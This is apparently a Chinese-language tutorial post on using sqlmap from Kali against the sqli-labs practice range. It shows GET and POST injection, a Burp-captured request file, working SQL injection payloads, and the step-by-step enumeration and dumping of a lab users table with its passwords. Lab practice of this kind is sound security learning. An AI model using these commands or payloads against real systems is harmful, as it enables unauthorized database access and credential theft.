sqlmap工具的简单使用，自动注入爆库、爆表、爆字段，爆数据

1.上次学习时安装了kali，这次来看看kali自带的工具，sqlmap，准备好sqllibs靶场。

打开终端输入：sqlmap -u http://192.168.2.113/web/Less-1/?id=1 --dbs --batch ，get类型的参数ID，可以看到顺利爆出数据库，并且存在四种注入类型的漏洞。

1. sqlmap resumed the following injection point(s) from stored session:
   
2. ---
   
3. Parameter: id (GET)
   
4.     Type: boolean-based blind
   
5.     Title: AND boolean-based blind - WHERE or HAVING clause
   
6.     Payload: id=1' AND 9591=9591 AND 'PXGC'='PXGC
   
7. 
   
8.     Type: error-based
   
9.     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
   
10.     Payload: id=1' AND (SELECT 4450 FROM(SELECT COUNT(*),CONCAT(0x717a716a71,(SELECT (ELT(4450=4450,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vzrh'='vzrh
    
11. 
    
12.     Type: time-based blind
    
13.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    
14.     Payload: id=1' AND (SELECT 6200 FROM (SELECT(SLEEP(5)))IUNL) AND 'ckXH'='ckXH
    
15. 
    
16.     Type: UNION query
    
17.     Title: Generic UNION query (NULL) - 3 columns
    
18.     Payload: id=-9838' UNION ALL SELECT NULL,NULL,CONCAT(0x717a716a71,0x456c494947434477796e6c4d544974566f41536355636857574477796c7777695550627046704d6d,0x71706a7671)-- -
    
19. ---
    
20. [22:12:16] [INFO] the back-end DBMS is MySQL
    
21. web server operating system: Windows
    
22. web application technology: Apache 2.4.23, PHP 5.4.45
    
23. back-end DBMS: MySQL >= 5.0
    
24. [22:12:16] [INFO] fetching database names
    
25. [22:12:17] [INFO] resumed: 'information_schema'
    
26. [22:12:17] [INFO] resumed: 'challenges'
    
27. [22:12:17] [INFO] resumed: 'mysql'
    
28. [22:12:17] [INFO] resumed: 'performance_schema'
    
29. [22:12:17] [INFO] resumed: 'security'
    
30. [22:12:17] [INFO] resumed: 'test'
    
31. available databases [6]:                                                   
    
32. [*] challenges
    
33. [*] information_schema
    
34. [*] mysql
    
35. [*] performance_schema
    
36. [*] security
    
37. [*] test
    

复制代码

2.第二种post注入，也就是表单，参数以post方式提交：


这种情况下，地址栏不能看到提交的参数名称，怎么注入呢？学过前端的都知道F12控制台，那如果是有请求头验证呢，带别的呢？

3.这个时候用到kali自带的另一款工具burpsuite了，抓个包看看，这下子整个请求的参数就能看到了，把下面的内容保存成bom文件。

1. POST /web/Less-12/ HTTP/1.1
   
2. 
   
3. Host: 192.168.2.113
   
4. 
   
5. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
   
6. 
   
7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
   
8. 
   
9. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
   
10. 
    
11. Accept-Encoding: gzip, deflate
    
12. 
    
13. Content-Type: application/x-www-form-urlencoded
    
14. 
    
15. Content-Length: 39
    
16. 
    
17. Origin: http://192.168.2.113
    
18. 
    
19. Connection: close
    
20. 
    
21. Referer: http://192.168.2.113/web/Less-12/
    
22. 
    
23. Upgrade-Insecure-Requests: 1
    
24. 
    
25. 
    
26. 
    
27. uname=admin&passwd=123456&submit=Submit

复制代码

同样打开终端输入：sqlmap -r bom --dbs --batch，也爆出了数据库。

1. sqlmap resumed the following injection point(s) from stored session:
   
2. ---
   
3. Parameter: uname (POST)
   
4.     Type: error-based
   
5.     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
   
6.     Payload: uname=1") AND (SELECT 1552 FROM(SELECT COUNT(*),CONCAT(0x716a787171,(SELECT (ELT(1552=1552,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ("fmsM"="fmsM&passwd=2&submit=Submit
   
7. 
   
8.     Type: time-based blind
   
9.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
   
10.     Payload: uname=1") AND (SELECT 5849 FROM (SELECT(SLEEP(5)))LZXJ) AND ("FWuX"="FWuX&passwd=2&submit=Submit
    
11. 
    
12.     Type: UNION query
    
13.     Title: MySQL UNION query (NULL) - 2 columns
    
14.     Payload: uname=1") UNION ALL SELECT CONCAT(0x716a787171,0x596e546d6c547979586570797072656c6563514b5a514257536a68745145736144537877456c4444,0x7162716b71),NULL#&passwd=2&submit=Submit
    
15. 
    
16.     Type: boolean-based blind
    
17.     Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    
18.     Payload: uname=1") OR NOT 7732=7732#&passwd=2&submit=Submit
    
19. ---
    
20. [22:20:36] [INFO] the back-end DBMS is MySQL
    
21. web server operating system: Windows
    
22. web application technology: PHP 5.4.45, Apache 2.4.23
    
23. back-end DBMS: MySQL >= 5.0
    
24. [22:20:36] [INFO] fetching database names
    
25. [22:20:37] [INFO] resumed: 'information_schema'
    
26. [22:20:37] [INFO] resumed: 'challenges'
    
27. [22:20:37] [INFO] resumed: 'mysql'
    
28. [22:20:37] [INFO] resumed: 'performance_schema'
    
29. [22:20:37] [INFO] resumed: 'security'
    
30. [22:20:37] [INFO] resumed: 'test'
    
31. available databases [6]:                                                   
    
32. [*] challenges
    
33. [*] information_schema
    
34. [*] mysql
    
35. [*] performance_schema
    
36. [*] security
    
37. [*] test
    

复制代码

其他的命令：
sqlmap -r bom -D security --tables --batch  爆security数据库对应的所有表

1. database: security
   
2. [4 tables]
   
3. +----------+
   
4. | emails   |
   
5. | referers |
   
6. | uagents  |
   
7. | users    |
   

复制代码

sqlmap -r bom -T users --columns --batch 爆user表的所有字段（列）

1. Column   | Type        |
   
2. +----------+-------------+
   
3. | id       | int(3)      |
   
4. | password | varchar(20) |
   
5. | username | varchar(20) |

复制代码

sqlmap -r bom -T users ----dump --batch 爆user表的所有数据（行）

1. Database: security
   
2. Table: users
   
3. [13 entries]
   
4. +----+------------+----------+
   
5. | id | password   | username |
   
6. +----+------------+----------+
   
7. | 1  | Dumb       | Dumb     |
   
8. | 2  | I-kill-you | Angelina |
   
9. | 3  | p@ssword   | Dummy    |
   
10. | 4  | crappy     | secure   |
    
11. | 5  | stupidity  | stupid   |
    
12. | 6  | genious    | superman |
    
13. | 7  | mob!le     | batman   |
    
14. | 8  | admin      | admin    |
    
15. | 9  | admin1     | admin1   |
    
16. | 10 | admin2     | admin2   |
    
17. | 11 | admin3     | admin3   |
    
18. | 12 | dumbo      | dhakkan  |
    
19. | 14 | admin4     | admin4   |
    
20. +----+------------+----------+
    

复制代码

赞

牛

终于找到详细sqlmap注入的学习资源了，谢作者

厉害